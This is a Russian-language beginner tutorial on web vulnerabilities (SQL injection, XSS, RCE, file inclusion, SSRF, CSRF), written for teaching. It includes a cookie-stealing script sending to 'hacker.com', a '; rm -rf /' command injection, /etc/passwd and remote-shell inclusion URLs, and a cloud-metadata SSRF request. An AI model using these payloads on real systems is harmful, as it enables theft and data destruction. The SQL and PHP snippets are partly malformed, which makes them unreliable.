🔐 Веб-уязвимости: Подробный разбор для начинающих

🔓 SQL-инъекции (SQL Injection)

Что это: Как если бы злоумышленник смог диктовать библиотекарю, какие книги искать, изменяя смысл запроса.

Базы данных используют язык SQL для управления информацией. Когда сайт неправильно обрабатывает ввод пользователя, хакер может вставить свой SQL-код.

📌 Пример атаки:

Входные данные: admin'--
Пароль: любой
Сервер формирует запрос:
SELECT * FROM users admin'--' AND password = 'any'
Комментарий:
-- (двойной дефис) в SQL означает комментарий.

💡 Как защититься:

Используйте подготовленные выражения:// PHP пример с PDO
$$stmt = $pdo->prepare('SELECT * FROM users WHERE email = :email');
$stmt->execute(['email' => $userInput]);

🔓 Межсайтовый скриптинг (XSS)

Что это: Как если бы злоумышленник оставил записку с вредоносными инструкциями, которую потом прочитают другие.

Браузер доверяет коду с сайта. Если хакеру удаётся вставить свой JavaScript, он может:

  • 🕵️ Украсть куки сессии
  • 💸 Совершать действия от имени пользователя
  • 📸 Делать скриншоты страниц

📌 Пример хранимой XSS:

<script>
// Отправляем куки на сервер злоумышленника
var img = new Image();
img.src = 'https:/hacker.com/steal?data=' + document.cookie;
</script>
Комментарий:Когда пользователь заходит на страницу с этим кодом, браузер автоматически отправит куки на указанный URL

🔓 Удалённое выполнение кода (RCE)

Что это: Как если бы злоумышленник получил доступ к пульту управления сервером.

Позволяет выполнять любые команды на сервере: удалять файлы, устанавливать вредоносное ПО, добывать криптовалюту.

📌 Пример уязвимого PHP-кода:

// Опасная функция, выполняющая команду системы
$file = $_GET['file'];
system("cat " . $file);
Атака: http:/site.com/?file=log.txt; rm -rf /
Комментарий: Символ ; позволяет выполнить вторую команду после чтения файла.
Команда rm -rf / удалит все файлы на сервере

🔓 Локальное/Удалённое включение файлов

Что это: Как если бы злоумышленник заставил библиотекаря принести книги из закрытого архива.

📌 Пример LFI:

http:/site.com/?page=../../etc/passwd
Комментарий: Сервер пытается включить файл из родительских директорий.

📌 Пример RFI:

http:/site.com/?page=http:/hacker.com/shell.php
Комментарий:
Сервер загружает и выполняет PHP-скрипт с внешнего ресурса,

🔓 Подделка серверных запросов (SSRF)

Что это: Как если бы злоумышленник использовал почтальона для доступа к закрытым помещениям.

Сервер делает запросы от своего имени, что позволяет:

  • 📡 Обращаться к внутренним сетям
  • 🔑 Читать метаданные облачных сервисов
  • 🎭 Обходить файрволлы

📌 Пример в AWS:

http:/site.com/fetch?url=http:/169.254.169.254/latest/meta-data/
Комментарий:
Это специальный IP-адрес Amazon для доступа к метаданным,

🔓 Подделка межсайтовых запросов (CSRF)

Что это: Как если бы злоумышленник подделал подпись в чеке от вашего имени.

Браузер автоматически отправляет куки при запросе к сайту, даже если запрос инициирован с другого домена.

📌 Пример вредоносной страницы:

<img src="https:/bank.com/transfer?to=hacker&amount=1000">
Комментарий: Если пользователь авторизован в банке, браузер автоматически отправит запрос на перевод денег с его куками сессии

🏁 Важные выводы:

🔹 95% уязвимостей возникают из-за неправильной обработки ввода
🔹 Всегда проверяйте и фильтруйте данные от пользователей
🔹 Используйте автоматизированные инструменты проверки безопасности
🔹 Регулярно обучайте разработчиков принципам безопасного кодирования

📝 Задания на закрепление

Порешайте задачи из раздела Задания, в названии которых есть слово web

Ссылки на дополнительные статьи